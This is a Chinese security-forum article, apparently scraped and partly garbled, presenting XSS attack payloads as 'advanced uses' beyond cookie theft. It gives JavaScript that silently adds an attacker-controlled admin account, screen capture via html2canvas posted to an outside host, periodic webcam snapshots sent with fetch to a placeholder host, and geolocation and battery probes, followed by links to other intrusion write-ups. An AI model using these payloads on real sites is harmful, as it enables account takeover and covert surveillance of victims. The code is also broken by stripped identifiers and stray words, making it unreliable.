做者:色豹php
i春秋社區html
今天就來說一下你們都熟悉的 xss漏洞的滲透利用。相信你們對xss已經很熟悉了,可是不少安全人員的意識裏 xss漏洞危害只有彈窗或者竊取cookie。可是xss還有更多的花式玩法,今天將介紹幾種。前端
1. xss滲透添加管理員html5
後臺觸發存儲型XSS,網站設置http-only,竊取的cookie無效。那麼如何在這種狀況下利用xss漏洞。git
沒法獲取cookie,可是咱們能夠利用xss漏洞,以管理員的權限,添加一個新的管理員。沒錯,就是讓管理員給咱們加一個高權限帳號。web
這裏咱們會用到 Java和Ajax 技術。 利用xmlhttp 發送一個http請求,在後臺發送一個添加管理員的post請求。canvas
var request = false;瀏覽器
if(window.) {安全
request = new.();cookie
if(request.overrideMimeType) {
request.overrideMimeType('text/html');
}
} else if(Window.ActiveXObject) {
var versions = {'Microsoft.XMLHTTP','MSXML_XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0','Msxml2.XMLHTTP.4.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'};
for(var i=0; i<versions.length; i ++){
try{
request = new ActiveXObject(versions);
}catch(e){}
}
}
xmlhttp = request;
add_admin();
function add_admin(){
var url = "/admin/admin_add_user.php"; //添加用戶請求地址
var params = "username=xss&passwod=123456&email=xss@xss.com&submit=1" //添加用戶post數據
xmlhttp.open("POST",url,true);
xmlhttp.setRequstHeader("Content-type","application/x-www-form-urlencoded")
xmlhttp.setRequstHeader("Content-length",params.length);
xmlhttp.setRequstHeader("Connection","close")
}
2. xss截取客戶的屏幕
如今隨着技術的進步,前端技術支持的面很是普遍。xss漏洞能夠利用html5的 canvas 來進行屏幕的截屏功能,相似於遠程控制木馬查看對方屏幕功能。這個能夠大大的提升對於進一步入侵的信息收集。廢話不說直接上代碼。
這裏須要用到一個js庫html2canvas.js
document.write("< src="html2canvas.js></>");
window.=function(){
html2canvas(document.body, {
onrendered: function(canvas) {
//下面開始把抓取到的屏幕圖片代碼傳輸和接收,因爲代碼很是的長,只能使用post
xhr=function(){
var request = false;
if(window.){
request = new ();
}else if (window.ActiveXObject){
try{
request = new window.ActiveXObject('Microsoft.XMLHTTP');
}catch(e){
}
}
return request;
}();
request = function(method,src,argv,content_type){
xhr.open(method,src,false);
if(method=='POST')xhr.setRequestHeader('Content-type',content_type);
xhr.send(argv); //發送POST數據
return xhr.responseText;
};
attack_a = function(){
var src = "http://xxx.com/xss.php?"; //post接收地址
var argv_0 = "'&screenshot="+canvas.toDataURL(); //post字段名稱爲screenshot
request("POST",src,argv_0,"application/x-www-form-urlencoded");
};
attack_a();
}
});
}
上面的代碼是針對 pc端的截屏,手機端的截屏xss代碼有所不一樣
<>
d=document;
v=d.('video');
c=d.('canvas');
c.width=640;
c.height=480;
navigator.webkitGetUserMedia({'video':true},function(s){
v.src=URL.createObjectURL(s);v.play()},function(){});
c2=c.getContext('2d');
x='c2.drawImage(v,0,0,640,480);fetch("//HOST/"+c2.canvas.toDataURL())';
setInterval(x,5000);
</>
這兩種服務端獲取到的post數據包是 格式的 ,咱們只要進行轉碼便可看到對方的屏幕截圖。
3.xss對移動端的滲透
如今愈來愈多的人喜歡用手機查看網頁,xss針對手機端的支持也很友好。
這裏只針對手機端Firefox瀏覽器說明。
xss獲取對方經緯度代碼
<>
navigator.geolocation.getCurrentPosition(function(p){
alert('Latitude:'+p.coords.latitude+',Longitude:'+
p.coords.longitude+',Altitude:'+p.coords.altitude);})
</>
xss獲取電池狀態的代碼,這裏須要用到Java Battery API
<svg =alert(navigator.battery.level)>
<svg =alert(navigator.battery.dischargingTime)>
<svg =alert(navigator.battery.charging)>
什麼是白帽子?是把技術融入生活,變成故事,宣揚正義。邀請你來i春秋社區,呈現你的故事,講述你的精彩,歡迎你們來「稿」!
1.【探索新思路】
記一次Github項目被fork後的刪除經歷
【相信常常使用Github平臺來託管程序代碼的同窗可能都會遇到本身項目被未受權fork走的狀況,本人最近就遭遇了這樣的狀況。】
https://bbs.ichunqiu.com/thread-25588-1-1.html
2.【思路分享】
記一次XSS防護繞過的過程 記一次XSS防護繞過的過程
【一個閒的蛋疼的週末,總想搞點事情,因而在網上找到了個cms系統,得挖出點什麼來,嘿嘿】
https://bbs.ichunqiu.com/thread-25625-1-1.html
3.【思路分享】
攻破黑市最流行的釣魚網站2
【上次有人向我反映,我講的過於快了,不適合菜鳥看,因此此次我寫的相對來講比較詳細~ 這對於有基礎的人來講可能比較煎熬,哈哈】
https://bbs.ichunqiu.com/thread-25640-1-1.html
4.【思路分享】
看我如何經過野路子擼下權6的BBS論壇
【前兩天發現一個BBS社區有解析漏洞,可是註冊帳號之後發現普通會員沒有上傳圖片權限,只有頭像處能夠傳,但抓不到路徑就放棄了,今天想起來就繼續研究了下。】
https://bbs.ichunqiu.com/thread-25613-1-1.html